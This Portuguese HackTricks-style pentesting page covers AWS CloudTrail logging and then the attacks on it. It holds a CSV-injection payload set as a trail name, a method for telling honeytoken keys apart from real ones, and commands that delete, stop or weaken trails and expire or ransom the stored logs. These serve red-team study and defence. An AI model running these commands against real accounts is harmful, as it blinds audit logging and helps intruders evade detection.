AWS - CloudTrail Enum

Reading time: 14 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

CloudTrail

AWS CloudTrail registra e monitora a atividade dentro do seu ambiente AWS. Ele captura logs de eventos detalhados, incluindo quem fez o que, quando e de onde, para todas as interações com os recursos AWS. Isso fornece um histórico de auditoria de mudanças e ações, auxiliando na análise de segurança, auditoria de conformidade e rastreamento de mudanças de recursos. O CloudTrail é essencial para entender o comportamento de usuários e recursos, aprimorar posturas de segurança e garantir conformidade regulatória.

Cada evento registrado contém:

  • O nome da API chamada: eventName
  • O serviço chamado: eventSource
  • O tempo: eventTime
  • O endereço IP: SourceIPAddress
  • O método do agente: userAgent. Exemplos:
  • Signing.amazonaws.com - Do AWS Management Console
  • console.amazonaws.com - Usuário root da conta
  • lambda.amazonaws.com - AWS Lambda
  • Os parâmetros da solicitação: requestParameters
  • Os elementos da resposta: responseElements

Os eventos são escritos em um novo arquivo de log aproximadamente a cada 5 minutos em um arquivo JSON, eles são mantidos pelo CloudTrail e, finalmente, os arquivos de log são entregues ao S3 aproximadamente 15 minutos depois.
Os logs do CloudTrail podem ser agregados entre contas e entre regiões.
O CloudTrail permite usar a integridade do arquivo de log para poder verificar se seus arquivos de log permaneceram inalterados desde que o CloudTrail os entregou a você. Ele cria um hash SHA-256 dos logs dentro de um arquivo de digestão. Um hash sha-256 dos novos logs é criado a cada hora.
Ao criar um Trail, os seletores de eventos permitirão que você indique o trail a ser registrado: eventos de gerenciamento, dados ou insights.

Os logs são salvos em um bucket S3. Por padrão, a Criptografia do Lado do Servidor é usada (SSE-S3), então a AWS descriptografa o conteúdo para as pessoas que têm acesso a ele, mas para segurança adicional, você pode usar SSE com KMS e suas próprias chaves.

Os logs são armazenados em um bucket S3 com este formato de nome:

  • BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD
  • Sendo o BucketName: aws-cloudtrail-logs-<accountid>-<random>
  • Exemplo: aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/

Dentro de cada pasta, cada log terá um nome seguindo este formato: AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz

Convenção de Nomenclatura de Arquivos de Log

Além disso, arquivos de digestão (para verificar a integridade do arquivo) estarão dentro do mesmo bucket em:

Agregar Logs de Múltiplas Contas

  • Crie um Trail na conta AWS onde você deseja que os arquivos de log sejam entregues
  • Aplique permissões ao bucket S3 de destino permitindo acesso entre contas para o CloudTrail e permita que cada conta AWS que precisa de acesso
  • Crie um novo Trail nas outras contas AWS e selecione usar o bucket criado na etapa 1

No entanto, mesmo que você possa salvar todos os logs no mesmo bucket S3, não é possível agregar logs do CloudTrail de várias contas em um CloudWatch Logs pertencente a uma única conta AWS.

caution

Lembre-se de que uma conta pode ter diferentes Trails do CloudTrail ativados armazenando os mesmos (ou diferentes) logs em diferentes buckets.

CloudTrail de todas as contas da org em 1

Ao criar um CloudTrail, é possível indicar para ativar o CloudTrail para todas as contas na org e obter os logs em apenas 1 bucket:

Dessa forma, você pode facilmente configurar o CloudTrail em todas as regiões de todas as contas e centralizar os logs em 1 conta (que você deve proteger).

Verificação de Arquivos de Log

Você pode verificar se os logs não foram alterados executando

javascript
aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]

Logs to CloudWatch

O CloudTrail pode enviar logs automaticamente para o CloudWatch, permitindo que você configure alertas que o avisam quando atividades suspeitas são realizadas.
Observe que, para permitir que o CloudTrail envie os logs para o CloudWatch, é necessário criar uma role que permita essa ação. Se possível, é recomendável usar a role padrão da AWS para realizar essas ações. Essa role permitirá que o CloudTrail:

  • CreateLogStream: Isso permite criar streams de log do CloudWatch Logs
  • PutLogEvents: Entregar logs do CloudTrail para o stream de log do CloudWatch Logs

Event History

O Histórico de Eventos do CloudTrail permite que você inspecione em uma tabela os logs que foram registrados:

Insights

O CloudTrail Insights analisa automaticamente eventos de gerenciamento de escrita dos trilhos do CloudTrail e avisa você sobre atividades incomuns. Por exemplo, se houver um aumento nos eventos TerminateInstance que difere das linhas de base estabelecidas, você verá isso como um evento de Insight. Esses eventos tornam mais fácil encontrar e responder a atividades incomuns de API do que nunca.

Os insights são armazenados no mesmo bucket que os logs do CloudTrail em: BucketName/AWSLogs/AccountID/CloudTrail-Insight

Security

Control NameImplementation Details
CloudTrail Log File Integrity
  • Validar se os logs foram adulterados (modificados ou excluídos)
  • Usa arquivos de digestão (cria hash para cada arquivo)

    • SHA-256 hashing
    • SHA-256 com RSA para assinatura digital
    • chave privada pertencente à Amazon
  • Leva 1 hora para criar um arquivo de digestão (feito a cada hora)
Stop unauthorized access
  • Usar políticas IAM e políticas de bucket S3

    • equipe de segurança —> acesso de administrador
    • auditores —> acesso somente leitura
  • Usar SSE-S3/SSE-KMS para criptografar os logs
Prevent log files from being deleted
  • Restringir acesso de exclusão com políticas IAM e de bucket
  • Configurar exclusão MFA do S3
  • Validar com Validação de Arquivo de Log

Access Advisor

O AWS Access Advisor depende dos últimos 400 dias de logs do AWS CloudTrail para reunir suas percepções. O CloudTrail captura um histórico de chamadas de API da AWS e eventos relacionados feitos em uma conta da AWS. O Access Advisor utiliza esses dados para mostrar quando os serviços foram acessados pela última vez. Ao analisar os logs do CloudTrail, o Access Advisor pode determinar quais serviços da AWS um usuário ou role IAM acessou e quando esse acesso ocorreu. Isso ajuda os administradores da AWS a tomar decisões informadas sobre refinar permissões, pois podem identificar serviços que não foram acessados por longos períodos e potencialmente reduzir permissões excessivamente amplas com base em padrões de uso reais.

tip

Portanto, o Access Advisor informa sobre as permissões desnecessárias sendo concedidas aos usuários para que o administrador possa removê-las

Actions

Enumeration

bash
# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>

Injeção CSV

É possível realizar uma injeção CVS dentro do CloudTrail que executará código arbitrário se os logs forem exportados em CSV e abertos com o Excel.
O seguinte código gerará uma entrada de log com um nome de Trail ruim contendo a carga útil:

python
import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)

Para mais informações sobre Injeções CSV, consulte a página:

Formula/CSV/Doc/LaTeX/GhostScript Injection - HackTricks

Para mais informações sobre esta técnica específica, consulte https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/

Bypass Detection

Bypass de HoneyTokens

Honeytokens são criados para detectar a exfiltração de informações sensíveis. No caso da AWS, eles são chaves da AWS cujo uso é monitorado, se algo acionar uma ação com essa chave, então alguém deve ter roubado essa chave.

No entanto, Honeytokens como os criados por Canarytokens, SpaceCrab, SpaceSiren estão usando nomes de conta reconhecíveis ou usando o mesmo ID de conta da AWS para todos os seus clientes. Portanto, se você conseguir obter o nome da conta e/ou ID da conta sem fazer o Cloudtrail criar nenhum log, você poderia saber se a chave é um honeytoken ou não.

Pacu tem algumas regras para detectar se uma chave pertence a Canarytokens, SpaceCrab, SpaceSiren:

  • Se canarytokens.org aparecer no nome da função ou o ID da conta 534261010715 aparecer na mensagem de erro.
  • Testando-os mais recentemente, eles estão usando a conta 717712589309 e ainda tem a string canarytokens.com no nome.
  • Se SpaceCrab aparecer no nome da função na mensagem de erro.
  • SpaceSiren usa uuids para gerar nomes de usuário: [a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}
  • Se o nome parecer gerado aleatoriamente, há altas probabilidades de que seja um HoneyToken.

Obter o ID da conta a partir do ID da chave

Você pode obter o ID da Conta a partir do codificado dentro da chave de acesso como explicado aqui e verificar o ID da conta com sua lista de contas Honeytokens da AWS:

python
import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

Verifique mais informações na pesquisa original.

Não gerar um log

A técnica mais eficaz para isso é, na verdade, uma simples. Basta usar a chave que você acabou de encontrar para acessar algum serviço dentro da sua própria conta de atacante. Isso fará com que o CloudTrail gere um log dentro da SUA PRÓPRIA conta AWS e não dentro da conta das vítimas.

A questão é que a saída mostrará um erro indicando o ID da conta e o nome da conta, então você poderá ver se é um Honeytoken.

Serviços AWS sem logs

No passado, havia alguns serviços AWS que não enviavam logs para o CloudTrail (encontre uma lista aqui). Alguns desses serviços responderão com um erro contendo o ARN do papel da chave se alguém não autorizado (a chave honeytoken) tentar acessá-lo.

Dessa forma, um atacante pode obter o ARN da chave sem acionar nenhum log. No ARN, o atacante pode ver o ID da conta AWS e o nome, é fácil saber o ID e os nomes das contas das empresas do HoneyToken, assim, um atacante pode identificar se o token é um HoneyToken.

caution

Note que todas as APIs públicas descobertas que não estavam criando logs do CloudTrail agora foram corrigidas, então talvez você precise encontrar as suas próprias...

Para mais informações, consulte a pesquisa original.

Acessando Infraestrutura de Terceiros

Certos serviços AWS irão gerar alguma infraestrutura como Bancos de Dados ou clusters Kubernetes (EKS). Um usuário falando diretamente com esses serviços (como a API do Kubernetes) não usará a API AWS, então o CloudTrail não poderá ver essa comunicação.

Portanto, um usuário com acesso ao EKS que descobriu a URL da API do EKS poderia gerar um token localmente e falar com o serviço da API diretamente sem ser detectado pelo CloudTrail.

Mais informações em:

AWS - EKS Post Exploitation

Modificando a Configuração do CloudTrail

Excluir trilhas

bash
aws cloudtrail delete-trail --name [trail-name]

Parar trilhas

bash
aws cloudtrail stop-logging --name [trail-name]

Desativar o registro em log de múltiplas regiões

bash
aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services

Desativar Registro por Seletores de Evento

bash
# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>

No primeiro exemplo, um único seletor de evento é fornecido como um array JSON com um único objeto. O "ReadWriteType": "ReadOnly" indica que o seletor de evento deve capturar apenas eventos de leitura (portanto, o CloudTrail insights não verificará eventos de escrita, por exemplo).

Você pode personalizar o seletor de evento com base em seus requisitos específicos.

Exclusão de logs via política de ciclo de vida do S3

bash
aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>

Modificando a Configuração do Bucket

  • Excluir o bucket S3
  • Alterar a política do bucket para negar quaisquer gravações do serviço CloudTrail
  • Adicionar política de ciclo de vida ao bucket S3 para excluir objetos
  • Desativar a chave KMS usada para criptografar os logs do CloudTrail

Ransomware Cloudtrail

Ransomware S3

Você poderia gerar uma chave assimétrica e fazer o CloudTrail criptografar os dados com essa chave e excluir a chave privada para que o conteúdo do CloudTrail não possa ser recuperado.
Isso é basicamente um ransomware S3-KMS explicado em:

AWS - S3 Post Exploitation

Ransomware KMS

Esta é uma maneira mais fácil de realizar o ataque anterior com diferentes requisitos de permissões:

AWS - KMS Post Exploitation

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks